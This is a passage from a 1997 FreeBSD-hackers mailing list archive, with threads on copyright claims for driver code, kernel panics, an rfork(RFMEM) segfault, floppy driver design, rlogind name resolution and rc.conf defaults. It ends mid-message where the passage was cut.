From owner-freebsd-hackers Sun Sep 14 00:23:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA27634 for hackers-outgoing; Sun, 14 Sep 1997 00:23:00 -0700 (PDT) Received: from GndRsh.aac.dev.com (GndRsh.aac.dev.com [198.145.92.241]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA27616; Sun, 14 Sep 1997 00:22:49 -0700 (PDT) Received: (from rgrimes@localhost) by GndRsh.aac.dev.com (8.8.5/8.7.3) id AAA01220; Sun, 14 Sep 1997 00:22:37 -0700 (PDT) From: "Rodney W. Grimes" Message-Id: <199709140722.AAA01220@GndRsh.aac.dev.com> Subject: Re: Patches on senderp-ppp.i-connect.net In-Reply-To: <19970913200905.31425@hydrogen.nike.efn.org> from John-Mark Gurney at "Sep 13, 97 08:09:05 pm" To: gurney_j@resnet.uoregon.edu Date: Sun, 14 Sep 1997 00:22:36 -0700 (PDT) Cc: Shimon@i-Connect.Net, freebsd-hackers@FreeBSD.ORG, freebsd-scsi@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL25 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Rodney W. Grimes scribbled this message on Sep 13: > > > Hi Y'all, > > > > > > This is just a bit of formality and a reminder: > > > > > > Any progamming logic (source, object, executable, etc.) that you may find > > > on the computer known as sendero-ppp.i-connect.net (206.190.143.100), which > > > does not clearly display a Copyright notice authorizing free distribution > > > is proprietary, unpublished source code of Simon Shapiro, Atlas Telecom or > > > both. > > > > I love the work you are doing, but the above statement is not correct. > > > > a) It is not ``proprietary'' unless you take legal and proper actions > > to keep it as such. In most cases you have done just the opposite, > > you've given pointers to it in a public forum. > > > > b) The action of making it avaliable to anyone other than yourself > > is `publication'', thierfor the code is not ``unpublished''. > > if this is true.. and that simply letting people download load it means > that the copyright is invalid (i.e. it's publicly avail), then why do we > worry about GPL'd code?? it's publicly avail.. but we still have to adhear > to the copyright attached... so why does this apply to his code? My statement b) above says nothing about invalidating the copyright on the file(s). It said that his claim to being ``unpublished source code'' would not hold up in court. Infact no where in my reply do I mention copyright. His base copyright is fully intact and binding, though missing a few technical legal requirements (City and State for a filed US copyright) his assertion of copyright infringement would hold up in a court. His assertion that it is a proprietary, unpublished source code how ever would not. I am not a lawyer, but have and do spend a healthy chunk of money in that area on a regular basis and have some first hand expertise in watching just how a lawyer disects things like the first 8 lines of dpt_pci.h, I am sure Greenly, Rottenberg, Evans and Brag as well as a Black's legal dictionary would back me up on my assertion in b) above. > it also only in theory that published material is free... but case law > has proven otherwise.. this is the basis for all intellectual property > law... I could get get Blacks and spend an hour showing you how many flaws there are in the above 3 statements, but instead let me just make 3 statements back: Published material is not free, unless there are attached conditions to the copyright that are legally valid and true granting you rights beyond what the copyright grants you. Case law is only some % of the picture, you have to see if the actual law as applied in a particular case decision matches the current situation. Intellectual property law has no single basis, and is comprised of both actual written law and the cases tried using those laws (commonly called case law). Infact that should apply to all law as far as I can tell. > > > c) Your ftp server welcome message desen't even head any warnings > > what so ever. > > well. that has been fixed... :) Okay, it has warnings, but those warings are seriously lacking in there legal correctness :-(. Folks don't try to write protection mechanisms yourself unless you have a good understanding and first hand experience with the applicable law. I don't see anything in the login banner I couldn't get a good lawyer to destroy in a few minutes. The word copyright doesn't even appear, and I've already blasted the holes in ``unpublished''. And that claim to ``proprietary'', well, thats blown by not taking steps to protect it, kinda like a trademark. You'd really need a password on the site to assert the unpublished and/or proprietary claims. Kinda like laying a book in the book store with those claims on it and a $0.00 price tag. I just don't think the claims would have a leg to stand on in court. Most any company asserting these claims require an NDA before you can even look at it, let alone download it and use it! -- Rod Grimes rgrimes@gndrsh.aac.dev.com Accurate Automation, Inc. Reliable computers for FreeBSD From owner-freebsd-hackers Sun Sep 14 00:24:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA27759 for hackers-outgoing; Sun, 14 Sep 1997 00:24:31 -0700 (PDT) Received: from monk.via.net (monk.via.net [140.174.204.10]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA27752 for ; Sun, 14 Sep 1997 00:24:27 -0700 (PDT) Received: (from joe@localhost) by monk.via.net (8.6.11/8.6.12) id AAA06192 for hackers@freebsd.org; Sun, 14 Sep 1997 00:14:42 -0700 Date: Sun, 14 Sep 1997 00:14:42 -0700 From: Joe McGuckin Message-Id: <199709140714.AAA06192@monk.via.net> To: hackers@freebsd.org Subject: 2.2.2R panics X-Sun-Charset: US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk 2.2.2R on my news machine will die 30 to 90 minutes after a reboot. The msg looks like: Fatal trap 12: page fault while in kernel mode. Superuser read: page not present. Stopped at allocbuf+0x463 btrl .... I've replaced the CPU, motherboard, memory, power supply, disk controllers and cables - but I still get kernel panics. I've stripped the system down to the bare minimum. 1 video card, 1 disk controller, 1 ethernet and 2 drives. I'm using a TYAN motherboard (dual sockets, only one is filled) 200 MHZ Pentium 128M ram Symbios '875 SCSI controller Quantum Fast/Wide drive. Kingston Ethernet card (DEC tulip chip based) HELP ! HELP ! HELP ! HELP ! HELP ! HELP ! HELP ! HELP ! HELP ! HELP ! HELP I've been trying to make this work for a week now. I'm just about ready to pitch the f*&$%ing thing into the wastbasket & buy a Sun. FreeBSD has worked great for our web servers and for four months, it worked great for our news server. Now it's as if someone put a curse on the news machine. No matter what I do, I just can't make it stay alive. -joe From owner-freebsd-hackers Sun Sep 14 00:30:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA28080 for hackers-outgoing; Sun, 14 Sep 1997 00:30:16 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA28064 for ; Sun, 14 Sep 1997 00:30:11 -0700 (PDT) Received: (qmail 19527 invoked by uid 1000); 14 Sep 1997 07:30:34 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199709140444.VAA08806@usr08.primenet.com> Date: Sun, 14 Sep 1997 00:30:33 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Terry Lambert Subject: Re: What is wrong with this snipet? Cc: freebsd-hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Terry Lambert; On 14-Sep-97 you wrote: > > Why would the following segfault on 6 of the 10 iterations? > > Forget that, we want to know how you get 5 more iterations (minimum) > out of a program that's already segfaulted. 8-). I dunno, I just work here :-) You saw the program (well, excuding some #includes). If you notice, it is not a star forker, but a chain one; Each process forks a child and exits. I suspect the segfault (if you move things a bit you can get bus errors instead :-) happens sometimes when an earlier parent exits. If the kernel gives priority to fork, vs. exit, this is what we will see. It goes away if you do not share memory, which makes sense, as one of the exit() calls eventually free()'s some critical memory. The interesting thing is that the program is (I think) semantically correct. There is no obviously wrong anything in it. Actually, if you clear the RFMEM bit, it runs perfectly normally. As I said to someone else earlier, in one place, at one time we considered a system which when operated as documented but produced obviously erroneous results to have a bug. But since we understand what happened here, we can document it. Voila! a feature :-)) BTW, I do not pretend to know how to solve it in a satisfactory manner. --- Sincerely Yours, (Sent on 14-Sep-97, 00:13:30 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Sun Sep 14 01:12:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA29794 for hackers-outgoing; Sun, 14 Sep 1997 01:12:54 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA29783 for ; Sun, 14 Sep 1997 01:12:50 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id RAA18693; Sun, 14 Sep 1997 17:42:40 +0930 (CST) Message-ID: <19970914174240.59868@lemis.com> Date: Sun, 14 Sep 1997 17:42:40 +0930 From: Greg Lehey To: Joe McGuckin Cc: hackers@FreeBSD.ORG Subject: Re: 2.2.2R panics References: <199709140714.AAA06192@monk.via.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709140714.AAA06192@monk.via.net>; from Joe McGuckin on Sun, Sep 14, 1997 at 12:14:42AM -0700 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, Sep 14, 1997 at 12:14:42AM -0700, Joe McGuckin wrote: > > 2.2.2R on my news machine will die 30 to 90 minutes after a reboot. > > The msg looks like: > > Fatal trap 12: page fault while in kernel mode. > Superuser read: page not present. > Stopped at allocbuf+0x463 btrl .... > > I've replaced the CPU, motherboard, memory, power supply, disk controllers > and cables - but I still get kernel panics. > > (etc) Then they must be coming from somewhere else. The kernel doesn't panic just for the fun of it. It does so to help you find out where it's dying. Use the help. The hint with allocbuf+463 is good, but if you could take a dump, it would be a whole lot better. Take a look at the section in the online handbook about how to analyze a dump. > I've been trying to make this work for a week now. I'm just about ready > to pitch the f*&$%ing thing into the wastbasket & buy a Sun. Suns have been known to do this too. Until you know what the problem is, you can't even be 100% sure that the same problem won't happen on a Sun! > FreeBSD has worked great for our web servers and for four months, it worked > great for our news server. Now it's as if someone put a curse on the news > machine. No matter what I do, I just can't make it stay alive. Let's see that dump. Greg From owner-freebsd-hackers Sun Sep 14 02:49:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA03107 for hackers-outgoing; Sun, 14 Sep 1997 02:49:10 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA03099 for ; Sun, 14 Sep 1997 02:49:07 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id CAA11346; Sun, 14 Sep 1997 02:51:11 -0700 (PDT) Message-Id: <199709140951.CAA11346@implode.root.com> To: Joe McGuckin cc: hackers@FreeBSD.ORG Subject: Re: 2.2.2R panics In-reply-to: Your message of "Sun, 14 Sep 1997 00:14:42 PDT." <199709140714.AAA06192@monk.via.net> From: David Greenman Reply-To: dg@root.com Date: Sun, 14 Sep 1997 02:51:10 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >2.2.2R on my news machine will die 30 to 90 minutes after a reboot. > >The msg looks like: > > Fatal trap 12: page fault while in kernel mode. > Superuser read: page not present. > Stopped at allocbuf+0x463 btrl .... A few obvious questions: Does it always panic in exactly the same way? If not, do the failures look fairly random or is there a common theme? What was the configuration of the machine when it worked? If possible, why not go back to that configuration? Did you try updating to 2.2-stable? Did you try a previous release (2.2.1 or perhaps 2.1.7.1) to see if this gets rid of the problem? How much from the standard GENERIC kernel config does your kernel config file deviate? -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Sun Sep 14 03:11:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA03811 for hackers-outgoing; Sun, 14 Sep 1997 03:11:55 -0700 (PDT) Received: from dfw-ix8.ix.netcom.com (dfw-ix8.ix.netcom.com [206.214.98.8]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA03806 for ; Sun, 14 Sep 1997 03:11:50 -0700 (PDT) Received: (from smap@localhost) by dfw-ix8.ix.netcom.com (8.8.4/8.8.4) id FAA21148; Sun, 14 Sep 1997 05:11:18 -0500 (CDT) Received: from sjx-ca29-22.ix.netcom.com(204.31.235.150) by dfw-ix8.ix.netcom.com via smap (V1.3) id rma021142; Sun Sep 14 05:11:14 1997 Received: (from asami@localhost) by blimp.mimi.com (8.8.7/8.6.9) id DAA08111; Sun, 14 Sep 1997 03:11:11 -0700 (PDT) Date: Sun, 14 Sep 1997 03:11:11 -0700 (PDT) Message-Id: <199709141011.DAA08111@blimp.mimi.com> To: brianc@pobox.com CC: freebsd-hackers@freebsd.org In-reply-to: <19970912232911.50519@pobox.com> (message from Brian Campbell on Fri, 12 Sep 1997 23:29:11 -0400) Subject: Re: ccd / newfs error From: asami@cs.berkeley.edu (Satoshi Asami) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk * # ccdconfig -v ccd0 128 0 /dev/sd0h /dev/sd1h * ccd0: 2 components (sd0h, sd1h), 8369408 blocks interleaved at 128 blocks ^^^^^^^ * # newfs ccd0a * write error: 8369535 ^^^^^^^ * wtfs: Invalid argument You are writing past the end of the partition. ;) Note that disklabel on ccd returns a "default" label with only `c' if there is no disklabel on the array, but will use one if it exists in the first few blocks of the ccd (which means the first few blocks of sd0h in your case). Your problem is most likely because ccd is using the disklabel you edited when you had a slightly larger array (because of different interleave). Satoshi From owner-freebsd-hackers Sun Sep 14 03:17:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA04014 for hackers-outgoing; Sun, 14 Sep 1997 03:17:28 -0700 (PDT) Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA04009 for ; Sun, 14 Sep 1997 03:17:24 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.6/8.6.12) with SMTP id DAA01459; Sun, 14 Sep 1997 03:11:15 -0700 (PDT) Message-Id: <199709141011.DAA01459@lestat.nas.nasa.gov> X-Authentication-Warning: lestat.nas.nasa.gov: localhost [127.0.0.1] didn't use HELO protocol To: Simon Shapiro Cc: freebsd-hackers@freebsd.org Subject: Re: What is wrong with this snipet? Reply-To: Jason Thorpe From: Jason Thorpe Date: Sun, 14 Sep 1997 03:11:10 -0700 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 13 Sep 1997 16:34:42 -0700 (PDT) Simon Shapiro wrote: > Why would the following segfault on 6 of the 10 iterations? In the FreeBSD implementation of RFMEM (which does not match Plan 9's), the child gets the same stack as the parent. If you "return" in the child, someone's stack gets munched. > > int > main(int argc, char **argv, char **argp) > { > int ndx; > > for ( ndx = 0; ndx < 10; ndx++ ) { > switch ( rfork(RFPROC|RFNOWAIT|RFFDG|RFMEM) ) { > case -1: > (void)fprintf(stderr, "%s ERROR: Failed to fork (%s)\n", > argv[0], strerror(errno)); > break; > case 0: > return(0); > } > } > > return(0); > } > > --- > > > Sincerely Yours, (Sent on 13-Sep-97, 16:31:40 > by XF-Mail) > > Simon Shapiro Atlas Telecom > Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 > Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 Jason R. Thorpe thorpej@nas.nasa.gov NASA Ames Research Center Home: +1 408 866 1912 NAS: M/S 258-6 Work: +1 415 604 0935 Moffett Field, CA 94035 Pager: +1 415 428 6939 From owner-freebsd-hackers Sun Sep 14 03:17:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA04054 for hackers-outgoing; Sun, 14 Sep 1997 03:17:52 -0700 (PDT) Received: from usr06.primenet.com (tlambert@usr06.primenet.com [206.165.6.206]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA04047 for ; Sun, 14 Sep 1997 03:17:49 -0700 (PDT) Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id DAA15075; Sun, 14 Sep 1997 03:17:45 -0700 (MST) From: Terry Lambert Message-Id: <199709141017.DAA15075@usr06.primenet.com> Subject: Re: Do *you* have problems with floppies? To: joerg_wunsch@uriah.heep.sax.de Date: Sun, 14 Sep 1997 10:17:45 +0000 (GMT) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970914082044.BG34112@uriah.heep.sax.de> from "J Wunsch" at Sep 14, 97 08:20:44 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > It is not an issue of retrying forever; typical BIOS implementations > > will seek and retry. > > Typical FreeBSD implementations will seek and retry. UTSL. > > > I think the problem lies in the use of sector instead of track based > > reads and writes, actually. Doing a sector at a time can add a lot > > of slop-error. > > Why and how? If a FDC fails to detect the sector ID field reliably, i > would call it `broken hardware'. The first sector ID field is not > more magic than any other sector ID field, btw. Even full-track reads > will have to decode each sector ID field separately (unless you're > going to read a raw track, but that's nothing you would do except for > debugging purposes). Rewriting the track is intrinsically more reliable, because it preserves the inter-sector gaps with less hysterisis. The tradeoff is in read-before-write. The reason that this is more reliable is that rate at which write requests can be handled. Ideally, they will be chained in a single write command. Like I said, this screws with sector-at-atime I/O, because it needs read-before-write. Just like seeking into a block on a ufs and writing one byte needs read-before-write. > Terry, again, you don't know what you're talking about. Have you ever > programmed a NE765/i8272 yourself? I doubt it. You would make more > qualified comments if you had. I've hacked on the fd.c code locally to do track-based I/O in place of the sector-based I/O, mostly as proof of concept (I don't have a shitty fdc available for testing; sorry: I only buy good hardware). > > To keep multitrack writes streaming would require > > two track buffers, BTW. > > Why? The inter-sector gaps of floppies are large enough to give the > CPUs that are in use these days time to setup the next transfers. Let > alone track-to-track seek times. (Our floppies don't use track > skewing, so you always lose about 3/4th of a revolution when seeking. > Plenty of time.) Because of the need to synchronize, of course. Relative seeks are not very reliable (see "The Undocumented PC" for details). You are assuming, incorrectly, that the process doing the writes will be ready-to-run by the time the next write is going to happen. This is a bogus assumption on a heavily loaded system. > > The track buffer would act as a cache. Inter-track seeking would > > be a bit slowed by this, but the MSDOSFS should probably see a good > > performance improvement, especially since locality dictates that > > most of the interesting pieces of the FAT will be in one buffer > > or the other. > > If msdosfs is too stupid to cache the FAT, that's nothing a device > driver should fix. There's the entire buffer cache in between. I disagree; there should be a two track cache intrinsic to the floppy driver. The "other" track will always contain the fat during any sequential access, because the sequential access requires a traversal of the FAT chain. The MSDOSFS should cache the FAT before this is invoked, in any case, because of the concept of long fat chains, which may overrrun a track buffer (see the paper referenced in the previous posting). The idea is not to have the device driver fix it, but to have the data in device space ready for DMA by the time the next track is ready to go. When you get the interrupt, then you soo if the data is ready to go, and if not, do a resynchronize while you wait. This will take care of most of the issues. SVR3 actually had a working FT driver in the kernel, and it used a double buffer so that it could rewrite during resynchronization (the guy who wrote the SVR3 driver was actually in the office one floor below me at Univel in the Sandy, Ut, office of Novell... and he definitely knew his shit). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 03:20:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA04167 for hackers-outgoing; Sun, 14 Sep 1997 03:20:03 -0700 (PDT) Received: from usr06.primenet.com (tlambert@usr06.primenet.com [206.165.6.206]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA04159 for ; Sun, 14 Sep 1997 03:20:00 -0700 (PDT) Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id DAA15165; Sun, 14 Sep 1997 03:19:57 -0700 (MST) From: Terry Lambert Message-Id: <199709141019.DAA15165@usr06.primenet.com> Subject: Re: Do *you* have problems with floppies? To: joerg_wunsch@uriah.heep.sax.de Date: Sun, 14 Sep 1997 10:19:57 +0000 (GMT) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970914082715.NY17691@uriah.heep.sax.de> from "J Wunsch" at Sep 14, 97 08:27:15 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > The driver already does what little chip detection is possible! > > But it does it wrong. Van Gilluwe (at least the first version) is > wrong. The Linux driver seems more correct. I've never fixed this > bug, since detecting the chip version is only important once we start > to support 2.88 MB floppies. Starting to support this requires a > major overhaul of the driver, since extending the existing one simply > sucks. (I've tried it.) OK. I grant the point (having recently looked at the Linux code); the hardware detect for the 2.88 is rather clever. I agree that simply stuffing a new table entry is not sufficient for 2.88. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 03:23:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA04267 for hackers-outgoing; Sun, 14 Sep 1997 03:23:29 -0700 (PDT) Received: from usr06.primenet.com (tlambert@usr06.primenet.com [206.165.6.206]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA04260 for ; Sun, 14 Sep 1997 03:23:26 -0700 (PDT) Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id DAA15324; Sun, 14 Sep 1997 03:23:22 -0700 (MST) From: Terry Lambert Message-Id: <199709141023.DAA15324@usr06.primenet.com> Subject: Re: nfs startup - perhaps it is a problem To: joerg_wunsch@uriah.heep.sax.de Date: Sun, 14 Sep 1997 10:23:21 +0000 (GMT) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <19970914083149.SG24852@uriah.heep.sax.de> from "J Wunsch" at Sep 14, 97 08:31:49 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Except rlogind ignores the hosts file and does a DNS request > > anyway when attempting to verify the source host for a user, > > even if you have hosts first in host.conf. > > Who told you this? rlogind does a plain gethostbyaddr(), so it will > use whatever address resolving gethostby*() is using. People without > name servers wouldn't be able to use r services at all otherwise. iijppp told me this when I tried to rlogin to myself (actually, rsh) to start an xterm under fvwm, and the rlogind did a getpeername(), then did a gethostbyaddr() that, for no good reason, sent out DNS packets, even though "hosts" appeared before "bin" in /etc/host.conf. So you could say that it's Empirically true, regardless of theory and regardless of what it's supposedly doing. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 03:40:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA04913 for hackers-outgoing; Sun, 14 Sep 1997 03:40:13 -0700 (PDT) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA04888 for ; Sun, 14 Sep 1997 03:40:08 -0700 (PDT) Received: from nospam.hiwaay.net (tnt2-33.HiWAAY.net [208.147.148.33]) by fly.HiWAAY.net (8.8.6/8.8.6) with ESMTP id FAA23643 for ; Sun, 14 Sep 1997 05:40:06 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id EAA25747 for ; Sun, 14 Sep 1997 04:45:58 -0500 (CDT) Message-Id: <199709140945.EAA25747@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: freebsd-hackers@FreeBSD.ORG From: dkelly@hiwaay.net Subject: Re: Floppy Driver Problem Solved :^> In-reply-to: Message from "Daniel J. O'Connor" of "Sat, 13 Sep 1997 19:28:07 +0930." <199709130958.TAA00642@holly.rd.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 14 Sep 1997 04:45:58 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > I think I will develop a floppy drive that uses a scsi interface! > Its been done :) > A friend of mine has one(Its out of a '030 powered small mainframe type thing... Hmm, > excuse my vagueness) > But heck, if you want to pay postage I;m sure we could mail it to you =) Teac makes a SCSI floppy, AKA: Floptical. Does the normal foppy densities (not sure about 2.88M) plus 20M with the right disk. They appear on the surplus market sometimes for about $150. All SGI systems with an optional floppy drive use them. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-hackers Sun Sep 14 05:02:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA07240 for hackers-outgoing; Sun, 14 Sep 1997 05:02:30 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA07232 for ; Sun, 14 Sep 1997 05:02:22 -0700 (PDT) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id MAA15300; Sun, 14 Sep 1997 12:35:43 +0100 (BST) Message-Id: <199709141135.MAA15300@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: Greg Lehey cc: Brian Somers , freebsd-hackers@FreeBSD.ORG Subject: Re: rc & rc.conf In-reply-to: Your message of "Sun, 14 Sep 1997 10:13:50 +0930." <19970914101350.06261@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 14 Sep 1997 12:35:43 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Sat, Sep 13, 1997 at 10:16:39AM +0100, Brian Somers wrote: > > This is a disaster waiting to happen: > > > > /etc/rc.conf: > > [.....] > > inetd_enable="YES" # Run the network daemon displatcher (or NO). > > [.....] > > cron_enable="YES" # Run the periodic job daemon. > > [.....] > > > > /etc/rc: > > [.....] > > if [ "X${inetd_enable}" = X"YES" ]; then > > echo -n ' inetd'; inetd ${inetd_flags} > > fi > > > > if [ "X${cron_enable}" = X"YES" ]; then > > echo -n ' cron'; cron > > fi > > [.....] > > I'm sorry, I must be too stupid. What's wrong with that? And how > does your fix fix it? Since the flags and the -enable have been > separated, it seems that we *should* insist on the exact string YES > for the enable flags. The problem is that with the "= YES" bit, if you accidently leave the variable out of rc.conf (like I did), NO is assumed. With the "!= NO" bit, you get the program run by default and have to specifically disable it. I think it's pretty rare that a machine wouldn't run inetd, and even rarer that it wouldn't run cron. > Greg -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Sep 14 05:35:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA08216 for hackers-outgoing; Sun, 14 Sep 1997 05:35:57 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA08211 for ; Sun, 14 Sep 1997 05:35:53 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id WAA01761; Sun, 14 Sep 1997 22:03:51 +0930 (CST) Message-Id: <199709141233.WAA01761@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Brian Somers cc: Greg Lehey , freebsd-hackers@FreeBSD.ORG Subject: Re: rc & rc.conf In-reply-to: Your message of "Sun, 14 Sep 1997 12:35:43 +0100." <199709141135.MAA15300@awfulhak.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 14 Sep 1997 22:03:48 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I think it's pretty rare that a machine wouldn't run inetd, and even > rarer that it wouldn't run cron. Can you spell "firewall"? How about "embedded application"? mike From owner-freebsd-hackers Sun Sep 14 05:50:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA08503 for hackers-outgoing; Sun, 14 Sep 1997 05:50:56 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id FAA08496 for ; Sun, 14 Sep 1997 05:50:51 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id OAA05216 for hackers@FreeBSD.ORG; Sun, 14 Sep 1997 14:50:48 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id OAA10851; Sun, 14 Sep 1997 14:26:54 +0200 (MET DST) Message-ID: <19970914142654.GG28248@uriah.heep.sax.de> Date: Sun, 14 Sep 1997 14:26:54 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: Do *you* have problems with floppies? References: <19970914082044.BG34112@uriah.heep.sax.de> <199709141017.DAA15075@usr06.primenet.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709141017.DAA15075@usr06.primenet.com>; from Terry Lambert on Sep 14, 1997 10:17:45 +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Terry Lambert wrote: > Rewriting the track is intrinsically more reliable, because it > preserves the inter-sector gaps with less hysterisis. The tradeoff > is in read-before-write. There's no good option in the NE765 to write an entire track. You can do 